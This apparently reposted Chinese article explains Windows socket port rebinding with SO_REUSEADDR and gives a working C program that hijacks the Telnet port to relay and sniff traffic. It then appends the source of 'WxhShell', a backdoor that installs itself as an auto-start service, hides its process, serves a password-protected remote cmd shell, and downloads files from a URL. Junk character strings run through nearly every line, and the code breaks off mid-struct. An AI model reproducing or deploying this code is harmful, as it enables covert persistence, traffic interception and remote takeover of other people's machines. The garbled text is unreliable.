在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
VW<"c 5| s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
B 3,ig9 HpjIp. saddr.sin_family = AF_INET;
644hQW&W AIRVvW~($ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
zvQ^f@lq2 Sj]T{3mi bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
t6,M m;tY(kO 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
|]]pHC_/W At^DY!3vx 这意味着什么?意味着可以进行如下的攻击:
NGb!7Mu9 S#%JSQo: 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
pFv[z':&Q MCWG*~f 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
RZ,<D I K&"Pm9
3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
);/5#b@<Y RGPU~L 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
e&a[k >a anLLO 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
Spr:K, exrt|A]_[ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
iw]BQjK Y$`hudJ& 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
iR}i42Cu EuimZW\V #include
1o"oa<*_ #include
XKPt[$ab #include
A](}"Pi!n #include
?D$b%G{ DWORD WINAPI ClientThread(LPVOID lpParam);
s%TO(vT int main()
@*`UOgP7 {
5KPPZmO WORD wVersionRequested;
;(iUY/ h[h DWORD ret;
^$s~qQQ}B WSADATA wsaData;
Iz$W3#hi BOOL val;
J'Mgj$T $ SOCKADDR_IN saddr;
5)zh@aJ@ SOCKADDR_IN scaddr;
.]P;fCQmM int err;
|EEz>ci SOCKET s;
S
bqM=I+ SOCKET sc;
p~zTRnm int caddsize;
a518N*]j HANDLE mt;
uL2{v DWORD tid;
Q j~W-^/ - wVersionRequested = MAKEWORD( 2, 2 );
(9[C0e S err = WSAStartup( wVersionRequested, &wsaData );
uRq#pYn@ if ( err != 0 ) {
Er+3S@sfq, printf("error!WSAStartup failed!\n");
DSG +TA" return -1;
O
|I:[S}, }
m&jt[
saddr.sin_family = AF_INET;
q
]R @:a/ (LvOsr~ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
*p5T h'q0eqYeu) saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
VFaK>gQ saddr.sin_port = htons(23);
[@?.}! if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
&8YI)G% {
2D_Vo ])l/ printf("error!socket failed!\n");
L"vG:Mq@D return -1;
^)P5(fJ }
&/#Tk>: val = TRUE;
i^V4N4ux] //SO_REUSEADDR选项就是可以实现端口重绑定的
'*{Rn7B5 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
1X_!%Z {
\w\47/k{ printf("error!setsockopt failed!\n");
Va[dZeoy return -1;
<Phr`/ }
{^O/MMB\\% //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
SVEA //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
lG^nT //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
wNZS6JF.d S$_Ts1Ge6 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
hE`%1j2( {
D2*Q1n ret=GetLastError();
yD
id`ym printf("error!bind failed!\n");
X1PlW8pd return -1;
~Wd8>a{w }
hD.wKX?oO listen(s,2);
?j$8Uy$$ while(1)
ump:dL5{ {
8\t7}8f caddsize = sizeof(scaddr);
M
#RuI% //接受连接请求
~9jP++& sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
&IPK5o, if(sc!=INVALID_SOCKET)
$A0]v!P~i- {
yT9RNo/w mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
hnLgsz if(mt==NULL)
FHPZQC8 {
M]zNW{Xt printf("Thread Creat Failed!\n");
qf&{O:,Z break;
8[P6c;\ }
l8Iy03H }
7(iRz CloseHandle(mt);
hQLx"R$ }
f6A['<%o closesocket(s);
F"? *@L WSACleanup();
?BZ`mrH^ return 0;
X1QZEl }
$W]guG DWORD WINAPI ClientThread(LPVOID lpParam)
48*pKbbM4 {
QL!+.y% SOCKET ss = (SOCKET)lpParam;
;xC~{O SOCKET sc;
HQj4h]O# unsigned char buf[4096];
/faP]J) SOCKADDR_IN saddr;
:v ~q long num;
~l(tl[ DWORD val;
B9Tztg
DWORD ret;
BJ2W}R //如果是隐藏端口应用的话,可以在此处加一些判断
oa|*-nw //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
weadY,-H8 saddr.sin_family = AF_INET;
_@?Jx/`;bk saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
03\8e?$ saddr.sin_port = htons(23);
90k|u'ikOp if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
rSCX$ @@F {
`%:(IGxz printf("error!socket failed!\n");
Yzx0 [_'u return -1;
>V=@[B(0 }
*J5euA5= val = 100;
"r3s'\ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
jmVy4* P_ {
\(t>(4s_~ ret = GetLastError();
;AA7wK 4 return -1;
#mxfU>vQ: }
^moIMFl if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Gl:T {
_jKVA6_E ret = GetLastError();
eTHh return -1;
6u3(G j@ }
>x0lSL0y if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
7}85o
J {
ai9,4 printf("error!socket connect failed!\n");
*%+buHe closesocket(sc);
f=Y9a$.:M closesocket(ss);
;P#*R3
return -1;
t O;W?g }
8uW:_t]q while(1)
PX/0 jv {
?2>v5p //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
.Sw'Bo!Ee //如果是嗅探内容的话,可以再此处进行内容分析和记录
=xP{f<` //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
.Q@'O b` num = recv(ss,buf,4096,0);
V2skr_1 if(num>0)
[)c|oh% send(sc,buf,num,0);
"$YLU}S9 else if(num==0)
=i %w_e break;
RL8wSK num = recv(sc,buf,4096,0);
?saVk7Z[|5 if(num>0)
Ka2tr]+s send(ss,buf,num,0);
SXF_)1QO\W else if(num==0)
aBLb i break;
L#bQ`t }
ay[*b_f closesocket(ss);
GQWTQIl] closesocket(sc);
"A3xX&9-q return 0 ;
l_EI7mJ }
A2S9h,t S*:w\nXP~
>ON.ftZi ==========================================================
&$im^0`r_ :N:8O^D^< 下边附上一个代码,,WXhSHELL
)S?}huX H.K`#W& ==========================================================
S`.-D+.68 F\72^,0 #include "stdafx.h"
I ^92b IbwRb #include <stdio.h>
pSUp"wch #include <string.h>
{mGWMv #include <windows.h>
n/D]r #include <winsock2.h>
4tTJE<y #include <winsvc.h>
z|H>jit+ #include <urlmon.h>
NQ=YTRU Dw,f~D$+ic #pragma comment (lib, "Ws2_32.lib")
kJFHUR #pragma comment (lib, "urlmon.lib")
E+ 20-> rNp#5[e #define MAX_USER 100 // 最大客户端连接数
BT0hx!Ti #define BUF_SOCK 200 // sock buffer
4f,x@:Jw #define KEY_BUFF 255 // 输入 buffer
L,L7WObA @kymL8"2w #define REBOOT 0 // 重启
v:;cTX=x`# #define SHUTDOWN 1 // 关机
P2F>iK#U G$<0_0GF #define DEF_PORT 5000 // 监听端口
Y.#+Yh[ *h6i9V%' #define REG_LEN 16 // 注册表键长度
1A`";E& #define SVC_LEN 80 // NT服务名长度
(0f^Hh wF R0'EoX // 从dll定义API
?>&Zm$5V typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
s6uAF(4, typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
Cn '=_1p typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
U 7?ez typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
pXa? Q@6 eRbO Hj1 // wxhshell配置信息
k*^W
lCZ3 struct WSCFG {
#w6CL int ws_port; // 监听端口
"-%H</ char ws_passstr[REG_LEN]; // 口令
v^'~-^s
int ws_autoins; // 安装标记, 1=yes 0=no
iSHl_/I< char ws_regname[REG_LEN]; // 注册表键名
nrBitu, char ws_svcname[REG_LEN]; // 服务名
!f6 char ws_svcdisp[SVC_LEN]; // 服务显示名
:DJ@HY char ws_svcdesc[SVC_LEN]; // 服务描述信息
w4a7c char ws_passmsg[SVC_LEN]; // 密码输入提示信息
5;Xrf= int ws_downexe; // 下载执行标记, 1=yes 0=no
;"z>p25=T char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
9v0|lS!- char ws_filenam[SVC_LEN]; // 下载后保存的文件名
Nig-D>OS F)Lbr>H?I };
V;jz0B /G ;yxdb // default Wxhshell configuration
>Z%`&D~u struct WSCFG wscfg={DEF_PORT,
Y2n*T
KXI, "xuhuanlingzhe",
ZbUf|#GTB 1,
p6'8l~W+ "Wxhshell",
v'tk:Hm1 "Wxhshell",
*2F}e4v "WxhShell Service",
zdE^v{}| "Wrsky Windows CmdShell Service",
/+msrrpD "Please Input Your Password: ",
X Rn=;gK%J 1,
6Y^o8R "
http://www.wrsky.com/wxhshell.exe",
{J$aA6t:"T "Wxhshell.exe"
$!Tw`O };
@@jdF-Utj; `Fj(g!` // 消息定义模块
1S.~-K*X char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
':3KZ4/C char *msg_ws_prompt="\n\r? for help\n\r#>";
FQ%mNowuj char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
5FxU=M1gF char *msg_ws_ext="\n\rExit.";
>.|gmo>b char *msg_ws_end="\n\rQuit.";
@Rm/g#!h" char *msg_ws_boot="\n\rReboot...";
E3!twR*Aw char *msg_ws_poff="\n\rShutdown...";
iY-dM(_:] char *msg_ws_down="\n\rSave to ";
>Fz$DKr[ 'S"F=)*- char *msg_ws_err="\n\rErr!";
intf%T5# char *msg_ws_ok="\n\rOK!";
P>|2~YxjU hh9{md\ char ExeFile[MAX_PATH];
#eYVZ=E int nUser = 0;
iq$/6!t HANDLE handles[MAX_USER];
/eQn$ZRP, int OsIsNt;
V_!i KEU @V)WJ{ SERVICE_STATUS serviceStatus;
q]x@q SERVICE_STATUS_HANDLE hServiceStatusHandle;
'Nh^SbD+_| bd4q/w4q // 函数声明
.+>}}, int Install(void);
x<(h9tB int Uninstall(void);
JN_#
[S$
int DownloadFile(char *sURL, SOCKET wsh);
o9i\[Ul int Boot(int flag);
GSp1,E2J void HideProc(void);
&^.'g{\Y int GetOsVer(void);
g5)VV" int Wxhshell(SOCKET wsl);
i weP3u## void TalkWithClient(void *cs);
7
<xxOY>y int CmdShell(SOCKET sock);
|Bp?"8%*l int StartFromService(void);
`c(@WK4 int StartWxhshell(LPSTR lpCmdLine);
rzu^br9X ;QYK {3R? VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
q)*0G* VOID WINAPI NTServiceHandler( DWORD fdwControl );
ArY'NE\Htt '' 6 // 数据结构和表定义
4rm/+Zes SERVICE_TABLE_ENTRY DispatchTable[] =
cu-WY8n {
scdT/|(U$ {wscfg.ws_svcname, NTServiceMain},
E_K7.c4M {NULL, NULL}
gA6C(##0 };
5S1m&s5k <CFur // 自我安装
$dR%8@.H int Install(void)
'g#GUSXfj {
_D~a4tgS char svExeFile[MAX_PATH];
k{~5pxd-t HKEY key;
Y*Pr strcpy(svExeFile,ExeFile);
8/:\iPk0 Q*I/mUP&f // 如果是win9x系统,修改注册表设为自启动
"q$M\jK#V if(!OsIsNt) {
X_lNnk if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
nB.p}k RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
]arP6iN+ RegCloseKey(key);
!duR7a if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
EO5Vg RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
gP3[=a"\ RegCloseKey(key);
)Ii=8etdv return 0;
?Rdi"{.wI }
o! 8X< o }
Z]tz<YSkG }
\4ZQop else {
wQ5__"D yC[}gHv // 如果是NT以上系统,安装为系统服务
%9j]N$.V SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
Nx99dr if (schSCManager!=0)
6
Qmtb2 {
gisZmu0 SC_HANDLE schService = CreateService
M-NR!? 9 (
qVfOf\x.e schSCManager,
*$QUE0 wscfg.ws_svcname,
5J,vH[E wscfg.ws_svcdisp,
\m<*3eS SERVICE_ALL_ACCESS,
WI%,m~ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
`)'YU^s SERVICE_AUTO_START,
L,i-T:Z~= SERVICE_ERROR_NORMAL,
}sFHb[I & svExeFile,
YW*ti|u|w NULL,
C
RNO4 NULL,
vQ;Z 0_ NULL,
%]-tA,u NULL,
t?\osPL NULL
{S?.bT%& );
W+QI
D/ if (schService!=0)
R&?p^!`% {
i[B%:q:& CloseServiceHandle(schService);
9I,Trk@& CloseServiceHandle(schSCManager);
s
SDBl~g strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
0:XmReO+k strcat(svExeFile,wscfg.ws_svcname);
6Pz\6DU,I if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
d$!ibL#o RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
y=t
-/*K RegCloseKey(key);
mwt3EV5 return 0;
FGC[yz1g: }
Ae"B]Cxb_X }
F
J)la9 CloseServiceHandle(schSCManager);
avQwbAh[ }
R8HFyP }
8qT/1b .L}ar7 return 1;
WaYT\CG7y }
?n}L+| [|vdr. // 自我卸载
+7=3[K int Uninstall(void)
dP82bk/e {
#soWX_> HKEY key;
&a V`u?'e zJPzI{-w| if(!OsIsNt) {
xT%CY(:9X if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
'Ag?#vB RegDeleteValue(key,wscfg.ws_regname);
=cxjb,r RegCloseKey(key);
j
sm{|' if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
"bJW yUb RegDeleteValue(key,wscfg.ws_regname);
)gZ yW
RegCloseKey(key);
8q_nOGd return 0;
\j4TDCs_[ }
C&\#{m_1B }
d%iMjY`~[g }
q%nWBmPZ~y else {
V
V<Zl Z\n
nVM= SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
bO9X;}\6 if (schSCManager!=0)
|(]XZ !{ {
5~v({R. SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
l2i[wc"9 if (schService!=0)
Bx)4BPaN {
L+&$/1h] if(DeleteService(schService)!=0) {
zpJQ7hym CloseServiceHandle(schService);
alyWp CloseServiceHandle(schSCManager);
ol-U%J return 0;
+ps(9O/B> }
1jDN=hIl CloseServiceHandle(schService);
QN":Qk(,q }
[&51m^ CloseServiceHandle(schSCManager);
m)V%l0 }
A2..gs/ }
dj 4:r!5_ 29:] cL(5 return 1;
5LR
k)@t }
umI@ej+D y-9Mm9J // 从指定url下载文件
F8nR.| int DownloadFile(char *sURL, SOCKET wsh)
*y0TtEd; {
05Ak[OOU> HRESULT hr;
S3$&}I < char seps[]= "/";
1GE[*$vuq char *token;
K9]L>Wj char *file;
",Mr+;;:[ char myURL[MAX_PATH];
FG/1!8F char myFILE[MAX_PATH];
y2cYRHN[X} !#3v<_]#d strcpy(myURL,sURL);
XU_gvz token=strtok(myURL,seps);
f["c,,[ while(token!=NULL)
^?}-x {
1N,</<" file=token;
qx|~H'UuBN token=strtok(NULL,seps);
\(C6|-:GY }
~m3Q^ue yhc}*BMZ GetCurrentDirectory(MAX_PATH,myFILE);
a[I
: ^S strcat(myFILE, "\\");
mb,\ wZ strcat(myFILE, file);
vhvFBx0 send(wsh,myFILE,strlen(myFILE),0);
~wvu7 send(wsh,"...",3,0);
shKTj5s? hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
zc K`hS if(hr==S_OK)
{u~JR(C: return 0;
]lqLC else
9(6f:D return 1;
3N257] VYbH:4K@% }
^,}1^?* zcGmru|k // 系统电源模块
TophV}@B` int Boot(int flag)
zncKd{Q\tP {
u.;l=tzz HANDLE hToken;
VkFMr8@| TOKEN_PRIVILEGES tkp;
cDS\=Bf u:.w/k%+ if(OsIsNt) {
-Gy=1W`09 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
>e^bq/' LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
6dgwsl~ tkp.PrivilegeCount = 1;
y*=sboX tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
7vTzY%v AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
z;DNl#|!L if(flag==REBOOT) {
C cPOK2 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
9:R3+,ZN return 0;
ncrg`<'/, }
Uo?4o*} else {
qF\w#nG if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
:CLWmMC_ return 0;
w p\-LO~ }
Qp7h|< }
LI*=T else {
\#4mPk_" if(flag==REBOOT) {
_iu~vU)r if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
F42<9)I return 0;
CFC15/yU }
1*" 7q9x else {
90#* el if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
<2N{oK. return 0;
JR8|!Of@B }
'i',M+0>jC }
S/"G=^~ 7r&lW<:> return 1;
{xx}xib3 }
[Do^EJ .' }jd# // win9x进程隐藏模块
O uNPD q% void HideProc(void)
s]]lB018O\ {
,Qx]_gZ` Idb*,l|< HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
M287Z[ if ( hKernel != NULL )
tn#cVB3 {
fLnwA|n= pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
"iTjiH)Q( ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
<8(=Lv`)q FreeLibrary(hKernel);
4GbfA
.u }
Y?TS, @Ddz|4 vEi return;
( <YBvpt4> }
EsGf+-}|!0 6R,Y.srR // 获取操作系统版本
( +Sv3h int GetOsVer(void)
KCO.8=y3 {
D(l,Z OSVERSIONINFO winfo;
*?BY+0 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
+j{(NwsX GetVersionEx(&winfo);
XwUa|"X6 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
?r KbL^2 return 1;
10fxK else
d7Vp^^}( return 0;
jYi,oE }
)by7[I0v Tf~eH!~0 // 客户端句柄模块
iLch3[p% int Wxhshell(SOCKET wsl)
.<zKBv {
o2X95NiH SOCKET wsh;
:`e#I/, struct sockaddr_in client;
JcUU#> DWORD myID;
}/dk2!?ig 9wZ?")2 while(nUser<MAX_USER)
M^[;{p2uZ {
_tJt
eDRY int nSize=sizeof(client);
] L97k(:Ib wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
hH 5}%/vF if(wsh==INVALID_SOCKET) return 1;
TKM^ 4^uSW&`;/ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
E{EO9EI if(handles[nUser]==0)
)w0x{_ closesocket(wsh);
+!0K]$VZs else
0S^&A?$= nUser++;
qmFG }
kL%ot<rt)w WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
0CX,"d_T, +=jS! return 0;
Bhxs(NO }
yI 2UmhA 3l%Qd< // 关闭 socket
Vf;&z$D{r void CloseIt(SOCKET wsh)
=nHKTB> {
iP0m1 closesocket(wsh);
N2O *g`YC nUser--;
r5DRF4,7 ExitThread(0);
Ec!!9dgRQ }
S7)qq U3X5tED // 客户端请求句柄
EW|$qLg void TalkWithClient(void *cs)
Ww,\s5Uw {
}9+;-*m/ uR ?W|a SOCKET wsh=(SOCKET)cs;
j@>D]j char pwd[SVC_LEN];
q0NFz mG char cmd[KEY_BUFF];
W}f)VC;D char chr[1];
}:m/@LKB int i,j;
ux<|8S *Jgi=,!m while (nUser < MAX_USER) {
8
MQq3 ^FKiVKI: if(wscfg.ws_passstr) {
T9
/;$6s* if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
cc|W1,q //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
5E\.YqdV //ZeroMemory(pwd,KEY_BUFF);
"iA0hA i=0;
3]l)uoNt/ while(i<SVC_LEN) {
k5I;Y:~` [3jJQ3O, // 设置超时
F{0\a;U@^ fd_set FdRead;
!l9{R8m>eJ struct timeval TimeOut;
pcy;]U? FD_ZERO(&FdRead);
<{isWEW9]3 FD_SET(wsh,&FdRead);
WeM38&dWY TimeOut.tv_sec=8;
kJJT`Ba&/ TimeOut.tv_usec=0;
au{)5W4~ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
5dm ~yQN/ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
2)n`Bd j(=w4Sd_W if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
0G+Q^]0 pwd
=chr[0]; nF@**,C Q
if(chr[0]==0xd || chr[0]==0xa) { @|\9<S
pwd=0; R9U{r.AA
break; 3>KEl^1DB
} c_3B: F7
i++; iApq!u,
} &Q3Fgj
,AP0*Ln
// 如果是非法用户,关闭 socket eX+36VG\
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); w*-42r3,'
} U?UU]>Q
oX|T&"&
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); e9o\qEm
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <E2 IU~e
e$Ksn_wEq
while(1) { w\)K0RN
g'7E6n"!,
ZeroMemory(cmd,KEY_BUFF); +>"s)R43
1,-C*T}nR
// 自动支持客户端 telnet标准 ye(b 7CX
j=0; l~i?
while(j<KEY_BUFF) { 0$*7lQ<a#M
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "'U^8NA2
cmd[j]=chr[0]; 4>d4g\Z0L
if(chr[0]==0xa || chr[0]==0xd) { $G".PWc
cmd[j]=0; k =5k)}i
break; 5(+9a
} Xs~'M/>
O
j++; GbSCk}>
} Fi/iA%,
}bb,Iib
// 下载文件 gXxi; g
if(strstr(cmd,"http://")) { <Ht"t]u*Bn
send(wsh,msg_ws_down,strlen(msg_ws_down),0);
?9`j1[0
if(DownloadFile(cmd,wsh)) 1Gsh%0r3
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2_q/<8t
else %e~xO x
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W/qXQORv
} L7$f01*
else { g-eJan&]N
5W&L6.J}+
switch(cmd[0]) { j%6p:wDl
]SQ+r*a
// 帮助 fx;rMGa
case '?': { )x6&Y
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); t7f(%/] H0
break; M~A#_%2U
} S%iK);
// 安装 `?z('FV
case 'i': { N3%#JdzZ$
if(Install()) B!wN%>U
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8,U~ p<Gz
else !D=!
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b j&!$')
break; +F)EGB%LXs
} GW AT0
// 卸载 Ui'v'
$
case 'r': { t]h_w7!U
if(Uninstall()) Z)7{~xq
send(wsh,msg_ws_err,strlen(msg_ws_err),0); &qx/ZT
else 9hzu!}~'I
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Nf| 0O\+%y
break; 9^a|yyzL
} Jh-yIk
// 显示 wxhshell 所在路径 E=I'$*C\D
case 'p': { ]3 "0#Y
char svExeFile[MAX_PATH]; &W\e 5X<A
strcpy(svExeFile,"\n\r"); ?MH=8Cl1w
strcat(svExeFile,ExeFile); `i`P}W!F
send(wsh,svExeFile,strlen(svExeFile),0); w|f+OlPXq
break; dcf,a<K\
} jr`swyg
// 重启 !]F`qS>
case 'b': { o@)Fy51DD
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Ue}1(2.v
if(Boot(REBOOT)) 1S?~c25=h
send(wsh,msg_ws_err,strlen(msg_ws_err),0); *y4DK6OFe
else { xm{?h,U,
closesocket(wsh); P.Ntjz/B
ExitThread(0); 5gf
~/Zr
} |Yl i~Qx
break; C?H~L
} OeQ[-e
// 关机 1UMEbb
case 'd': { \'2rs152
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $n<1D -0!r
if(Boot(SHUTDOWN)) -b!?9T?}
send(wsh,msg_ws_err,strlen(msg_ws_err),0); RvR.t"8
else { #N][-i
closesocket(wsh); #6M |T+=
ExitThread(0); 5Ew( 0K[
} K@p9_K8
break; ^]o
H}lwO
} n/v.U,f&l@
// 获取shell cxR.:LD}
case 's': { XJo.^<m
CmdShell(wsh); KpGx<+0p
closesocket(wsh); ;-3&yQ7N)
ExitThread(0); X5o*8Bg4M
break; G8}owszT
} - +a,Ej
// 退出 iQO4IT
case 'x': { "~VKUvDu
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #x.v)S
CloseIt(wsh); f/dJRcDl<
break; Tgpu 9V6
} >~,~X9
// 离开 AJ\gDjj<
case 'q': { Y2VfJ}%Q
send(wsh,msg_ws_end,strlen(msg_ws_end),0); Tf#Op
v)
closesocket(wsh); ./I? |ih
WSACleanup(); u0W6u} 4;
exit(1); #H6YI3
`G
break; )xVf3l
pQ
} lW"0fZ_x'E
} ~C{:G;Iy0
} VP!4Nob
S:z|"u:+
// 提示信息 >$ZhhM/} J
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Tv#d>ZSD
} u.A}&'H
} 6?xF!VIL
L]l/w
return; m^FKE:
} ?n#$y@U
#e.x]v:
// shell模块句柄 E,d<F{=8,o
int CmdShell(SOCKET sock) 29=ob("
{ Fug4u?-n
STARTUPINFO si; X0L\Ewm
ZeroMemory(&si,sizeof(si)); o_}?aI~H
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 6D]fDeH\
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 4M%|N
PROCESS_INFORMATION ProcessInfo; /,SVG1
char cmdline[]="cmd"; t;+b*S6D
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); j3&q?1
return 0; "$N$:B @U
} Q&0`(okb
F=Xb_Gd`
// 自身启动模式 3rK\
f4'
int StartFromService(void) Y-8BL
{ K Zg NL|
typedef struct )@9Eq|jMC
{ Jt}`oFQ5l
DWORD ExitStatus; h1?xfdvGd
DWORD PebBaseAddress; 8Dl(zY K;
